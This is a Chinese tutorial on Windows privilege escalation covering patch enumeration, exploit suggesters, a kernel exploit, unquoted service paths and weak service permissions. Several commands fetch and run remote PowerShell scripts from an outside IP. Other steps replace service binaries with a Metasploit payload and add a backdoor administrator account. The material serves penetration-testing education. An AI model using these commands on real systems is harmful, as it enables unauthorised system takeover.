目录

  • 前言
  • Windows系统内核溢出漏洞提权
    • 1. 手动查找系统潜在漏洞
    • 2. 自动查找系统潜在漏洞
      • Windows Exploit Suggester
      • local_exploit_suggester 模块
      • enum_patches 模块
    • 3. 选择漏洞并利用
  • Windows系统错误配置漏洞提权
    • Trusted Service Paths漏洞(可信任服务路径漏洞)
    • 系统服务错误权限配置漏洞
      • 利用PowerUp.ps1脚本
      • Metasploit中的service_permissions模块

前言

在Windows中,有User、Administrator、System、TrustedInstaller这四种用户权限,其权限从左到右依次升高。而我们在一般的实战中,获得的权限较低,低权限将使渗透测试受到很多的限制。这就要求我们将当前权限提升到足以满足我们要求的高权限。
权限提升的方式大概有以下两类:

  • 纵向提权:低权限用户获得高权限角色的权限。
  • 横向提权:获得同级别角色的权限。

常用的提权方法有Windows系统内核溢出漏洞提权、错误的系统配置提权、数据库提权等等。

Windows系统内核溢出漏洞提权

溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。

利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。

1. 手动查找系统潜在漏洞

获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:

systeminfo
或
wmic qfe get caption,description,hotfixid,installedon

可以看到系统就装了这几个补丁。攻击者会通过没有列出的补丁号,寻找相应的提权EXP,例如KiTrap0D和KB979682对应、MS10-021和KB979683对应等等。

然后使用目标机上没有的安装的补丁号对应的EXP进行提权。Windows不同系统提权的漏洞和相应的补丁请见:
https://github.com/SecWiki/windows-kernel-exploits#%E6%BC%8F%E6%B4%9E%E5%88%97%E8%A1%A8

2. 自动查找系统潜在漏洞

Windows Exploit Suggester

下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester

该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。

使用如下:

首先更新漏洞数据库,会生成一个xls的文件,如下 2020-08-20-mssb.xls

python2 windows-exploit-suggester.py --update


然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:

systeminfo > sysinfo.txt

最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:

python2 windows-exploit-suggester.py -d 2020-08-20-mssb.xls -i sysinfo.txt


如图给出存在可利用的漏洞!!

local_exploit_suggester 模块

Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。

使用如下,假设我们已经获得了目标主机的一个session:

use post/multi/recon/local_exploit_suggester
set session 1
exploit


如上图,该模块快速识别并列出了系统中可能被利用的漏洞,十分方便。但虽然如此,也并非所有列出的local exploits都可用。

enum_patches 模块

会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。使用如下:

use post/windows/gather/enum_patches
set session 1
exploit

在实际的查找潜在漏洞的过程中,建议手动和自动双管齐下。

下载地址:https://github.com/rasta-mouse/Sherlock

该脚本可以快速的查找出可能用于本地权限提升的漏洞。使用如下:

powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1');      // 远程执行
Import-Module 目录\Sherlock.ps1       本地执行Find-AllVulns    // 调用脚本后,执行搜索命令

3. 选择漏洞并利用

查找了目标机器上的补丁并确定存在漏洞后,我们就可以像目标机器上传本地溢出程序,并执行。这里,我们选择的是CVE-2018-8120。

漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)

  • Windows 下的提权大合集:https://github.com/lyshark/Windows-exploits
  • Windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits
  • 各大平台提权工具:https://github.com/klsfct/getshell


执行:


执行提权程序之前,为普通用户whoami权限,执行后为system权限。

完整操作:

Windows系统错误配置漏洞提权

在Windows系统中,攻击者通常会通过系统内核溢出漏洞来提权,但是如果碰到无法通过系统内核溢出漏洞提权的情况时,会可以利用系统中的错误配置漏洞来提权。下面演示几种常见的Windows系统错误配置漏洞提权方法。

Trusted Service Paths漏洞(可信任服务路径漏洞)

Trusted Service Paths 漏洞是由系统中的“CreateProcess”函数引起的,并利用了windows文件路径解析的特性。

首先,我们来认识一下Windows中文件路径解析的特性。例如,我们有一个文件路径为“C:\Program Files\Some Folder\Service.exe”。那么,对于该路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。如上面的目录为例,Windows会依次尝试确定和执行一下程序:

 1. C:\Program.exe2. C:\Program Files\Some.exe3. C:\Program Files\Some Folder\Service.exe

可见,最后才确定并执行真正的程序Service.exe。而由于Windows服务通常是以system权限运行的,所以系统在解析服务所对应的文件路径中的空格时,也会以system系统权限进行,那么,如果我们将一个“适当命名”的可执行程序上传到以上所说的受影响的目录中,服务一旦启动或重启,该程序就会以system权限运行了,可见该漏洞利用了服务路径的文件/文件夹的权限。

该漏洞是由于一个服务的可执行文件没有正确的处理所引用的完整路径名,即一个服务的可执行文件的完整路径中含有空格且没有被双引号引起来,那么该服务就存在这个漏洞。下面演示该漏洞利用方法。

首先,我们可以用以下命令列出目标主机中所有存在空格且没有被引号括起来服务路径:

wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

如上图,可以看到“whoami”和“Bunny”这两个服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格。是存在该漏洞的,但在上传可执行文件进去之前,我们需要确定我们对目标文件夹是否有写入的权限。

这里我们使用Windows中的icacls命令,依次来检查“C:\”、“C:\Program Files\Program Folder”等目录的权限发现只有“C:\Program Files\program folder”目录有Everyone(OI)(CI)(F):

参数说明:“M”表示修改
“F”代表完全控制
“CI”代表从属容器将继承访问控制项
“OI”代表从属文件将继承访问控制项。
这就意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。


确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务。

sc stop <service_name>
sc start <service_name>

既然要重启服务,那么我们就可以知道,该提权方法需要管理员权限,重启服务的方法适用于从管理员权限到system的权限提升过程。而实际情况下,我们直接对目标主机执行“shutdown -r -t 0”命令让他重启就行了。

我们生成一个msf马并重命名为Hello.exe上传到该“C:\Program Files\Program Folder”目录下,然后分别执行如下命令重启该WhoamiTest服务:

sc stop WhomaiTest
sc start WhomaiTest


可知提权前为管理员权限(liukaifeng01),提权成功后我们得到一个system权限的session。

这里要注意,新反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要在终止载荷进程之前将它迁移到其他进程中,使用msf的“set AutoRunScript migrate -f”命令即可实现自动迁移进程:


该提权方法在metasploit中对应的模块为:exploit/windows/local/unquoted_service_path,使用如下:

(在之前的metasploit中为exploit/windows/local/trusted_service_path,但在新版的metasploit中替换替换成了exploit/windows/local/unquoted_service_path

use exploit/windows/local/unquoted_service_path
set session 1set AutoRunScript migrate -fexploit


如上图,提权成功。

系统服务错误权限配置漏洞

Windows 系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows 服务是以System权限运行的,因此,其文件、文件夹和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。

该漏洞利用有以下两种情况:

  • 服务未运行:攻击者会使用任意服务直接替换原来的服务,然后重启服务。
  • 服务正在运行且无法终止:这种情况符合绝大多数漏洞利用的场景,攻击者通常会利用DLL劫持技术并尝试重启服务来提权。

利用PowerUp.ps1脚本

下载地址:https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp

这里我们利用一个Powershell的脚本——PowerUp,该脚本的AllChecks模块会检测目标主机存的Windows服务漏洞,然后通过直接替换可执行文件本身来实现权限的提升。

AllChecks模块的通常应用对象如下:

  • 没有被引号引起来的服务的路径。
  • 服务的可执行文件的权限设置不当
  • Unattend.xml文件
  • 注册表键AlwaysInstallElevated
powershell -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/PowerUp.ps1');Invoke-ALLChecks"


如上图,可以看到PowerUp列出了所有可能存在该漏洞的服务的信息,并在AbuseFunction部分直接给出了利用方式。我们可以看到,目标主机的WhoamiTest服务可能存在该漏洞,然后我们再用icacls命令来测试该服务的可执行文件目录的“C:\Program Files\Program Folder\Hello Whoami\whoami.exe”文件是否有写入权限:

icacls "C:\Program Files\Program Folder\Hello Whoami\whoami.exe"


如上图,可以看到我们对whoami.exe文件是有完全控制权的,那么我们就可以直接将whoami.exe替换成我们的msf马,当服务重启时,我们就会得到一个System权限的meterpreter。

这里,我们用“AbuseFunction”那里已经给出的具体操作方式,执行如下。

将原来的服务可执行文件备份,并用一个可添加管理员用户的恶意可执行文件代替它,默认添加的用户名为join,密码为Password123!:

powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/PowerUp.ps1');Install-ServiceBinary -ServiceName 服务名


接下来停止并再启动该服务的时候,但由于我们当前是普通用户,我们没有权限重启服务,所以我们可以等目标系统重启,我们通过msf控制目标机执行“shutdown -r”命令来重启,重启后即可成功创建join用户:


添加指定的管理员用户:

Install-ServiceBinary -ServiceName 服务名 -UserName Bunny -Password Liufupeng123

Metasploit中的service_permissions模块

该漏洞提权在metasploit上面对应的模块为exploit/windows/local/service_permissions


如上图,该模块有两个可以设置的选项,其中如果把AGGRESSIVE选项设为“true”,则可以利用目标机器上每一个有该漏洞的服务,设为“false”则在第一次提权成功后就会停止工作。演示如下:


注:一定要迁移进程!!!!!

Windows提权方法相关推荐

  1. Windows提权方法简单总结

    目录 前言 一.本地提权 系统内核溢出漏洞提权 错误系统配置提权 可信任服务路径漏洞 系统服务权限配置错误 计划任务提权 GPP组策略首选项提权 令牌窃取 数据库提权 二.域内提权 MS14-068 ...

  2. windows程序提权方法

    Windows下应用程序如果需要做一些系统管理或进程管理之类的工作,经常需要将本进程提权(获取权限令牌): 而通常windows下提权方法有两种,主要的方法是: 1)win32API--AdjustT ...

  3. Windows常用提权方法 (゚益゚メ) 渗透测试

    文章目录 提权说明 Windows提权类型 准备工作 手动配置漏洞 提权 msf常用提权命令 Windows可信任服务路径(不安全的文件/文件夹权限) 漏洞产生原因 利用条件 攻击演示 MSF载荷 不 ...

  4. 【内网安全】——Windows提权姿势

    作者名:白昼安全 主页面链接: 主页传送门 创作初心: 一切为了她 座右铭: 不要让时代的悲哀成为你的悲哀 专研方向: web安全,后渗透技术 每日emo: 不悲伤,不彷徨,有风听风,有雨看雨 一.W ...

  5. windows提权速查流程

    windows提权速查流程 1.可利用漏洞信息收集 收集本机systeminfo中补丁信息 在提权辅助平台 https://i.hacking8.com/tiquan/ 中查询可利用exp 然后查询e ...

  6. Windows提权基本原理,各位表哥了解下!

    Windows提权基本原理 没有多少人谈论在Windows下提权,是一件让人遗憾的事!我想,没有人这么做的理由有以下几点: 在渗透测试项目中,客户需要的验证就是一个低权限shell. 在演示环境,你经 ...

  7. Windows提权基础:信息收集技巧及可用漏洞搜索

    本文收集整理一些跟提权紧密相关的信息收集技巧和方法,以及如何在kali中搜索可用的漏洞,最后整理了目前可供使用的一些漏洞对应msf下的模块以及操作系统可提权的版本. 0X00 Windows提权信息收 ...

  8. 张小白的渗透之路(十一)--windows提权详解

    windows基础命令 systeminfo | findstr OS **#获取系统版本信息** hostname **#获取主机名称** whomai /priv **#显示当前用户的安全特权** ...

  9. 系统提权之:Windows 提权

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Wi ...

最新文章

  1. 使用Xcode 4编译器设定Release/Debug教程
  2. Block的循环引用详解
  3. 林俊卿咽音练声法八个步骤(纯净版视频加图文)(转)
  4. harmonyos消息服务器,第三方纯HarmonyOS应用太少,你还愿意升级吗?
  5. 小窍门解决大问题(组图)
  6. 历史上的今天:雅虎正式成立;PC 设计先驱诞生;Excite@Home 破产
  7. C# BackGroundWorker 的简单使用
  8. Android小项目--2048小游戏
  9. MySQL OCP备考
  10. 5款开源BI系统倾力推荐,企业信息化的利器
  11. 状态转移矩阵 matlab,状态转移矩阵计算.PPT
  12. 出现Illegal invocation的报错
  13. 学习excel的使用技巧复制一列文本成新列去重
  14. (转)DHTML学习笔记
  15. 浅谈 ext2 文件系统的特点、优缺点以及使用场景
  16. 深圳云计算培训学习:构建企业级WIKI及工单系统 --【千锋】
  17. 剧推|2019hulu原创剧集激情推荐!
  18. SAP CO组织结构及概念
  19. emWin—显示汉字
  20. java基础巩固-宇宙第一AiYWM:为了维持生计,四大基础之计网_Part_1-2(HTTP1.0、1.1、2.0、3.0【谁比谁牛,牛在哪】;HTTP(S)、会话和饼干、权限)整起

热门文章

  1. 一台计算机英语美式发音,美式音标在线学习(Flash动画+真人发音口型)
  2. 软件浪涌测试原理与功能,雷击浪涌测试仪工作原理及优势
  3. Xtrabackup全量备份(官网)
  4. 全面认识OpenStack架构
  5. 多国警察部队逮捕12名黑客嫌疑人,曾发起 1800 多次勒索软件攻击
  6. 淘宝天猫乐高的销售情况
  7. Golang深入理解GPM模型
  8. 半导体放电管TSS详解
  9. 计算机教室在哪儿英语,教室的英文是什么
  10. 地平线余凯:电动车,卖点不是车而是「智能」